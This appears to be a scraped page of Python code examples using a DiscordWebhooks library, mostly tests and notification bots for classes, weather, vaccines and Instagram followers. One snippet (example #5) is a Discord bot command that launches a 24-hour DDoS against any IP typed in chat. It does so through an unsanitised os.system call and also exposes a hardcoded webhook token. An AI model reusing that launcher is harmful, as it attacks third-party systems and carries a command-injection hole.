예제 #1
0
    def test_complex_embed(self):
        """
      Tests a combination of all methods to form a complex payload object.
    """
        webhook = DiscordWebhooks('webhook_url')
        webhook.set_content(content='Montezuma', title='Best Cat Ever', description='Seriously', \
          url='http://github.com/JamesIves', color=0xF58CBA, timestamp='2018-11-09T04:10:42.039Z')
        webhook.set_image(
            url='https://avatars1.githubusercontent.com/u/10888441?s=460&v=4')
        webhook.set_thumbnail(
            url='https://avatars1.githubusercontent.com/u/10888441?s=460&v=4')
        webhook.set_author(
            name='James Ives',
            url='https://jamesiv.es',
            icon_url=
            'https://avatars1.githubusercontent.com/u/10888441?s=460&v=4')
        webhook.set_footer(
            text='Footer',
            icon_url=
            'https://avatars1.githubusercontent.com/u/10888441?s=460&v=4')
        webhook.add_field(name='Field', value='Value!')

        self.maxDiff = None
        expected_payload = \
          {
            'content': 'Montezuma',
            'embeds': [
                {
                  'title': 'Best Cat Ever',
                  'description': 'Seriously',
                  'url': 'http://github.com/JamesIves',
                  'color': 16092346,
                  'timestamp': '2018-11-09T04:10:42.039Z',
                  'fields': [
                    {
                      'name': 'Field',
                      'value': 'Value!',
                      'inline': False
                    }
                  ],
                  'image': {
                    'url': 'https://avatars1.githubusercontent.com/u/10888441?s=460&v=4'
                  },
                  'author': {
                    'name': 'James Ives',
                    'url': 'https://jamesiv.es',
                    'icon_url': 'https://avatars1.githubusercontent.com/u/10888441?s=460&v=4'
                  },
                  'thumbnail': {
                    'url': 'https://avatars1.githubusercontent.com/u/10888441?s=460&v=4'
                  },
                  'footer': {
                    'text': 'Footer',
                    'icon_url': 'https://avatars1.githubusercontent.com/u/10888441?s=460&v=4'
                  },
                }
              ]
            }

        self.assertEquals(webhook.format_payload(), expected_payload)
예제 #2
0
 def send_msg(self, title, desc, msg_title, msg):
     time.sleep(3)
     webhook = DiscordWebhooks(self.webhook_url)
     webhook.set_footer(text='    --By Hariprasath')
     webhook.set_content(title=title, description=desc)
     webhook.add_field(name=msg_title, value=msg)
     webhook.send()
def send_test(textm):
    WEBHOOK_URL = webhook_url

    webhook = DiscordWebhooks(WEBHOOK_URL)
    # Attaches a footer
    webhook.set_footer(text='-- selenium bot')
    webhook.set_content(title='Test Message', description='sending log')
    webhook.add_field(name='log', value=textm)
    webhook.send()
    print("test message sent")
예제 #4
0
def job():
    url = 'add-your-webhook-url-here'
    apiurl = 'add-your-api-url-here'
    res = requests.get(apiurl)
    data = res.json()

    # current weather data extract
    ctemp = data['current']['temp']
    cwspeed = data['current']['wind_speed']
    ccloud = data['current']['clouds']
    cwmain = data['current']['weather'][0]['main']
    cwdesc = data['current']['weather'][0]['description']
    cicon = data['current']['weather'][0]['icon']

    #int to string and some calculations
    c_temp = str(ctemp)
    c_clouds = str(ccloud)
    c_wspeed = str(cwspeed)
    #h_temp = str(htemp)
    #h_clouds = str(hcloud)

    # message design for current weather
    cweather = DiscordWebhooks(url)
    cweather.set_content(title="Current Weather")
    cweather.set_thumbnail(url='http://openweathermap.org/img/wn/' + cicon +
                           '@4x.png')
    cweather.add_field(name='Temperature :', value=str(c_temp + " ºC"))
    cweather.add_field(name='Wind speed :', value=str(c_wspeed + " km/h"))
    cweather.add_field(name=(cwmain + ' :'), value=cwdesc)
    cweather.add_field(name='Cloudiness :', value=(c_clouds + '%'))
    cweather.set_footer(text='Source - OpenWeather')

    cweather.send()
예제 #5
0
파일: 1bot.py 프로젝트: ddoskid/idfkk
async def dos24hrs(ctx, *, ipxer: str):

    await ctx.send('DDoS Started! check  <#750038125862060152>')

    WEBHOOK_URL = 'https://discordapp.com/api/webhooks/750045740352667788/q71VgymARTPb-qLiS98cQSBOuAIJRZseLN6z-AhE2fRqFQXfCfp5dGjl_dcon4ZMJxUI'

    webhook = DiscordWebhooks(WEBHOOK_URL)

    webhook.add_field(name='`IPADRESS:`', value=ipxer, inline=True)

    webhook.add_field(name='`PORT:`', value='`80`', inline=True)

    webhook.add_field(name='`Hours:`', value='`24`', inline=True)

    webhook.set_footer(
        text='DDOS Started!',
        icon_url=
        'https://www.logolynx.com/images/logolynx/3b/3bc09932e42516a9fa80e0b8dbb695e8.png'
    )

    webhook.set_content(content='', color=0xff1100)

    webhook.send()

    os.system('perl Packet86400.pl ' + ipxer)
    pass

    await ctx.send('DDoS Completed!')

    os.system('python3 1bot.py')
예제 #6
0
def send_msg(status, sent, error):
    IST = pytz.timezone('Asia/Kolkata')
    datetime_ist = datetime.now(IST)
    timestamp = datetime_ist.strftime('%Y:%m:%d %H:%M:%S %Z %z')

    WEBHOOK_URL = "https://discordapp.com/api/webhooks/"
    webhook = DiscordWebhooks(WEBHOOK_URL)
    webhook.set_footer(text='-- Teja Swaroop')

    if status == "info":
        webhook.set_content(title="Report")
        webhook.add_field(name='Sent', value=sent)
        webhook.add_field(name="timestamp", value=timestamp)
    if status == "error":
        webhook.set_content(title="Error occured")
        webhook.add_field(name='Sent until here', value=sent)
        webhook.add_field(name='Error', value=error)
        webhook.add_field(name="timestamp", value=timestamp)

    try:
        webhook.send()
        print("Message sent to discord")
    except Exception as e:
        print("Message failed to send to discord")
예제 #7
0
def post_report_server(classname, entered, timeoutquery):
    whurl = 'discord webhook url here'
    webhook = DiscordWebhooks(whurl)
    webhook.set_content(
        title='WA Report',
        description='Hello, here is the current Teams Bot status:')
    webhook.add_field(name='Class', value=classname)
    webhook.add_field(name='Entered', value=str(entered))
    webhook.add_field(name='Timeout', value=str(timeoutquery))
    webhook.send()
예제 #8
0
def send_msg(msg, vc):

    WEBHOOK_URL = webhook_url

    webhook = DiscordWebhooks(WEBHOOK_URL)
    # Attaches a footer
    webhook.set_footer(text='With Love from Divyansh Sikarwar')
    # main Content
    if (msg == 0):
        webhook.set_content(
            title=msg,
            description=
            "Currently there are no Vaccination Centers available for your age in your area"
        )
    elif (msg == -1):
        webhook.set_content(
            title=msg,
            description=
            "Sorry due to some techical reasons we cant access Vaccination Availability Info right now"
        )
    else:
        webhook.set_content(
            title="Vaccination Centers are now available !!",
            description=
            "Here is your Available Vaccination Center's list :Heart: :")
        # Appends a field
        for i in range(len(vc)):
            a = vc[i]
            print(a["name"], "(", a["min_age_limit"], "+) : ",
                  a["available_capacity"])
            webhook.add_field(name="Center Name", value=a["name"])
            webhook.add_field(name="Min Age", value=a["min_age_limit"])
            webhook.add_field(name="Available Capacity",
                              value=a["available_capacity"])
            webhook.add_field(name="----",
                              value="-----------------------------------")

    webhook.send()

    print("Report sent to discord")
예제 #9
0
    def test_add_field(self):
        """
      Tests the set_field method and ensures the data gets added to the payload.
    """
        webhook = DiscordWebhooks('webhook_url')
        webhook.add_field(name='Field1', value='Value1', inline=True)
        webhook.add_field(name='Field2', value='Value2', inline=True)
        webhook.add_field(name='Field3', value='Value3', inline=False)

        # Inline should default to false
        webhook.add_field(name='Field4', value='Value4')

        expected_payload = \
          {
            'embeds': [
                {
                  'fields': [
                    {
                      'name': 'Field1',
                      'value': 'Value1',
                      'inline': True
                    },
                    {
                      'name': 'Field2',
                      'value': 'Value2',
                      'inline': True
                    },
                    {
                      'name': 'Field3',
                      'value': 'Value3',
                      'inline': False
                    },
                    {
                      'name': 'Field4',
                      'value': 'Value4',
                      'inline': False
                    },
                  ],
                  'image': {},
                  'author': {},
                  'thumbnail': {},
                  'footer': {},
                }
              ]
            }

        self.assertEquals(webhook.format_payload(), expected_payload)
def send_msg(class_name, status, start_time, end_time):

    WEBHOOK_URL = webhook_url

    webhook = DiscordWebhooks(WEBHOOK_URL)
    # Attaches a footer
    webhook.set_footer(text='-- vaibdix')

    if (status == "joined"):

        webhook.set_content(title='Class Joined Succesfully',
                            description="Here's your report with :heart:")

        # Appends a field
        webhook.add_field(name='Class', value=class_name)
        webhook.add_field(name='Status', value=status)
        webhook.add_field(name='Joined at', value=start_time)
        webhook.add_field(name='Leaving at', value=end_time)

    elif (status == "left"):
        webhook.set_content(title='Class left Succesfully',
                            description="Here's your report with :heart:")

        # Appends a field
        webhook.add_field(name='Class', value=class_name)
        webhook.add_field(name='Status', value=status)
        webhook.add_field(name='Joined at', value=start_time)
        webhook.add_field(name='Left at', value=end_time)

    elif (status == "noclass"):
        webhook.set_content(
            title='Seems like no class today',
            description="No join button found! Assuming no class.")

        # Appends a field
        webhook.add_field(name='Class', value=class_name)
        webhook.add_field(name='Status', value=status)
        webhook.add_field(name='Expected Join time', value=status)
        webhook.add_field(name='Expected Leave time', value=end_time)

    webhook.send()

    print("Sent message to discord")
예제 #11
0
def send_msg(class_name,link,status,date,start_time,end_time):

    WEBHOOK_URL = webhook_url 

    webhook = DiscordWebhooks(WEBHOOK_URL)
    

    if(status=="fetched"):

      webhook.set_content(title='Zoom Class',
                          description="Here's your Link :zap:")

      # Appends a field
      webhook.add_field(name='Class', value=class_name)
      webhook.add_field(name='Zoom link', value=link)
      webhook.add_field(name='Date', value=date)
      webhook.add_field(name='Start time', value=start_time)
      webhook.add_field(name='End time', value=end_time)
    


    elif(status=="noclass"):
      webhook.set_content(title='Zoom Class',
                          description="Class Link Not Found! Assuming no class :sunglasses:")

      # Appends a field
      webhook.add_field(name='Class', value=class_name)
      webhook.add_field(name='Date', value=date)
      webhook.add_field(name='Start time', value=start_time)
      webhook.add_field(name='End time', value=end_time)




    elif(status=="G-learn down"):
      webhook.set_content(title='G-learn Is Not Responding',
                          description="Link bot failed to fetch :boom:")

      # Appends a field
      webhook.add_field(name='Status', value=status)



    # Attaches a footer
    webhook.set_footer(text='-- Zoom Links')


    webhook.send()

    print("Sent message to discord")
def send_msg(username, follower_change, followers, unfollowers,
             followers_count, unfollowers_count, time, webhook_url):

    WEBHOOK_URL = webhook_url

    if followers == [] and unfollowers == []:
        print("No change in followers, so not sending message to discord")
        return

    if followers == []:
        followers = 'None'

    if unfollowers == []:
        unfollowers = 'None'

    webhook = DiscordWebhooks(WEBHOOK_URL)

    webhook.set_content(title='Report for %s' % (time),
                        description="Here's your report with :heart:")

    # Attaches a footer
    webhook.set_footer(text='-- Teja Swaroop')

    # Appends a field
    webhook.add_field(name='Username', value=username)
    webhook.add_field(name='Total follower change', value=follower_change)

    if unfollowers != 'None':
        webhook.add_field(name='People who unfollowed you (%d)' %
                          (unfollowers_count),
                          value=', '.join(unfollowers))
    else:
        webhook.add_field(name='People who unfollowed you (%d)' %
                          (unfollowers_count),
                          value=unfollowers)

    if followers != 'None':
        webhook.add_field(name='People who followed you (%d)' %
                          (followers_count),
                          value=', '.join(followers))
    else:
        webhook.add_field(name='People who followed you (%d)' %
                          (followers_count),
                          value=followers)

    webhook.send()

    print("Sent message to discord")
def send_msg(insta_username, insta_password, username, follower_change,
             followers, unfollowers, followers_count, unfollowers_count, time,
             webhook_url, uforuf, fof):

    WEBHOOK_URL = webhook_url

    if followers == [] and unfollowers == []:
        print("No change in followers, so not sending message to discord")
        return

    if followers == []:
        followers = 'None'

    if unfollowers == []:
        unfollowers = 'None'

    webhook = DiscordWebhooks(WEBHOOK_URL)

    webhook.set_content(title='Report for %s' % (time),
                        description="Here's your report with :heart:")

    # Attaches a footer-
    webhook.set_footer(text='-- ScarLet42')

    # Appends a field
    webhook.add_field(name='Username', value=username)
    webhook.add_field(name='Total follower change', value=follower_change)

    if unfollowers != 'None':
        webhook.add_field(name='People who unfollowed you (%d)' %
                          (unfollowers_count),
                          value=', '.join(unfollowers))

    else:
        webhook.add_field(name='People who unfollowed you (%d)' %
                          (unfollowers_count),
                          value=unfollowers)

    if followers != 'None':
        webhook.add_field(name='People who followed you (%d)' %
                          (followers_count),
                          value=', '.join(followers))
    else:
        webhook.add_field(name='People who followed you (%d)' %
                          (followers_count),
                          value=followers)

    if (unfollowers != 'None' and uforuf == 'y'):

        bot = MyIGBot(insta_username, insta_password)
        for x in unfollowers:
            response = bot.unfollow(x)
            if (response == 200):
                print(x, "Unfollowed You On -", username)
                webhook.add_field(name='Unfollowed %s' % (x))
                print("Unfollowed", x)
            else:
                print(x, "Unfollowed You On -", username)
                print("Wasn't following ", x)

    if (followers != 'None' and fof == 'y'):
        bot = MyIGBot(insta_username, insta_password)
        for y in followers:
            response = bot.follow(y)
            if (response == 200):
                print("Followed back ", y)
                webhook.add_field(name='Followed Back %s' % (y))
            else:
                print("Already Following %s or some other error occured..." %
                      (y))

    webhook.send()

    print("Sent message to discord")
예제 #14
0
def send_msg(class_name, status, start_time, end_time):
    webhook = DiscordWebhooks(webhook_url)
    # Attach the footer
    webhook.set_footer(text = '--Attender Bot')

    if status == "joined":
        webhook.set_content(title=f"{class_name} lecture has started",
                    description = ":heart:")
        #Put the Fields
        webhook.add_field(name = "Class", value = class_name)
        webhook.add_field(name = "Status", value = status)
        webhook.add_field(name = "Joined at", value = start_time)
        webhook.add_field(name = "Leaving at", value = end_time)
        
    elif status == "left":
        webhook.set_content(title=f"I left the {class_name} lecture",
                    description = "heart:")
        #Put the Fields
        webhook.add_field(name = "Class", value = class_name)
        webhook.add_field(name = "Status", value = status)
        webhook.add_field(name = "Joined at", value = start_time)
        webhook.add_field(name = "Left at", value = end_time)
        
    elif status == "noclass":
        webhook.set_content(title=f"today their is no class of {class_name}",
                    description = "heart:")
        #Put the Fields
        webhook.add_field(name = "Class", value = class_name)
        webhook.add_field(name = "Status", value = status)
        webhook.add_field(name = "Expected Join at", value = start_time)
        webhook.add_field(name = "Expected Leave at", value = end_time)
    webhook.send()
    print("Message Send")
예제 #15
0
def send_msg(class_name, status, start_time, end_time, t_date):

    WEBHOOK_URL = webhook_url

    webhook = DiscordWebhooks(WEBHOOK_URL)

    if (status == "joined"):

        webhook.set_content(title='Class Joined Succesfully',
                            description="Here's your report :zap:")

        # Appends a field
        webhook.add_field(name='Class', value=class_name)
        webhook.add_field(name='Status', value=status)
        webhook.add_field(name='Joined at', value=start_time)
        webhook.add_field(name='Leaving at', value=end_time)
        webhook.add_field(name='Date', value=t_date)

    elif (status == "left"):
        webhook.set_content(title='Class Left Succesfully',
                            description="Here's your report :comet:")

        # Appends a field
        webhook.add_field(name='Class', value=class_name)
        webhook.add_field(name='Status', value=status)
        webhook.add_field(name='Joined at', value=start_time)
        webhook.add_field(name='Left at', value=end_time)
        webhook.add_field(name='Date', value=t_date)

    elif (status == "noclass"):
        webhook.set_content(
            title='Seems Like No Class Today',
            description="Class Link Not Found! Assuming no class :sunglasses:")

        # Appends a field
        webhook.add_field(name='Class', value=class_name)
        webhook.add_field(name='Status', value=status)
        webhook.add_field(name='Expected Join time', value=start_time)
        webhook.add_field(name='Expected Leave time', value=end_time)
        webhook.add_field(name='Date', value=t_date)

    elif (status == "G-learn down"):
        webhook.set_content(title='G-learn Is Not Responding',
                            description="Zoom bot failed to join :boom:")

        # Appends a field
        webhook.add_field(name='Status', value=status)

    elif (status == "zoom_link down"):
        webhook.set_content(title='Zoom Link Is Not Working',
                            description="Zoom bot failed to join :boom:")

        # Appends a field
        webhook.add_field(name='Class', value=class_name)
        webhook.add_field(name='Status', value=status)
        webhook.add_field(name='Expected Join time', value=start_time)
        webhook.add_field(name='Expected Leave time', value=end_time)
        webhook.add_field(name='Date', value=t_date)

    # Attaches a footer
    webhook.set_footer(text='-- Zoom Classes')

    webhook.send()

    print("Sent message to discord")
예제 #16
0
 def msg(self, msg):
     webhook = DiscordWebhooks(self.webhook_url)
     webhook.add_field(name="Error", value=msg)
     webhook.send()
예제 #17
0
파일: a.py 프로젝트: Akathian/akathian.com
def send_msg(username, follower_change, followers, unfollowers,
             followers_count, unfollowers_count, time, webhook_url,
             not_follow_back):

    WEBHOOK_URL = webhook_url

    if followers == []:
        followers = 'None'

    if unfollowers == []:
        unfollowers = 'None'

    webhook = DiscordWebhooks(WEBHOOK_URL)

    webhook.set_content(title='Report for %s' % (time),
                        description="Here's your report with :heart:")

    # Appends a field
    webhook.add_field(name='Username', value=username)
    webhook.add_field(name='Total follower change', value=follower_change)

    if unfollowers != 'None':
        webhook.add_field(name='People who unfollowed you (%d)' %
                          (unfollowers_count),
                          value=', '.join(unfollowers))
    else:
        webhook.add_field(name='People who unfollowed you (%d)' %
                          (unfollowers_count),
                          value=unfollowers)

    if followers != 'None':
        webhook.add_field(name='People who followed you (%d)' %
                          (followers_count),
                          value=', '.join(followers))
    else:
        webhook.add_field(name='People who followed you (%d)' %
                          (followers_count),
                          value=followers)

    webhook.add_field(name='People who don\'t follow you back (%d)' %
                      (len(not_follow_back)),
                      value=', '.join(not_follow_back))

    webhook.send()
예제 #18
0
def insta_usr():
    instagram = Instagram()

    # authentication supported
    instagram.with_credentials(username, password)
    instagram.login()

    account = instagram.get_account(usr)
    print(f"\t{account}")

    server = DiscordWebhooks(webhook_url)
    try:
        server.set_image(url=account.profile_pic_url)
        server.add_field(name="UserName : "******"Hacking is not a trick. It's an state of mind :)")
        server.set_author(name="HackersBrain Instagram Analyser Bot",
                          url="http://gauravraj.gq/",
                          icon_url="https://source.unsplash.com/35x35/?man")
        server.add_field(name="Full Name : ", value=account.full_name)
        server.add_field(name="Bio : ", value=account.biography)
        server.add_field(name="No. of Posts : ", value=account.media_count)
        server.add_field(name="No. of Followers : ",
                         value=account.followed_by_count)
        server.add_field(name="No. of Follows : ", value=account.follows_count)
        server.add_field(name="Is Private : ", value=account.is_private)
        server.add_field(name="Is Verified : ", value=account.is_verified)
        server.send()
        print(Fore.GREEN + "\t Message Sent Successfully...\n" +
              Style.RESET_ALL)
    except KeyboardInterrupt as key_err:
        print(" Exiting Program... \tProject by : HackersBrain\n")
    except Exception as err:
        print(f"\n {err}\n Exiting Program... \tProject by : HackersBrain\n")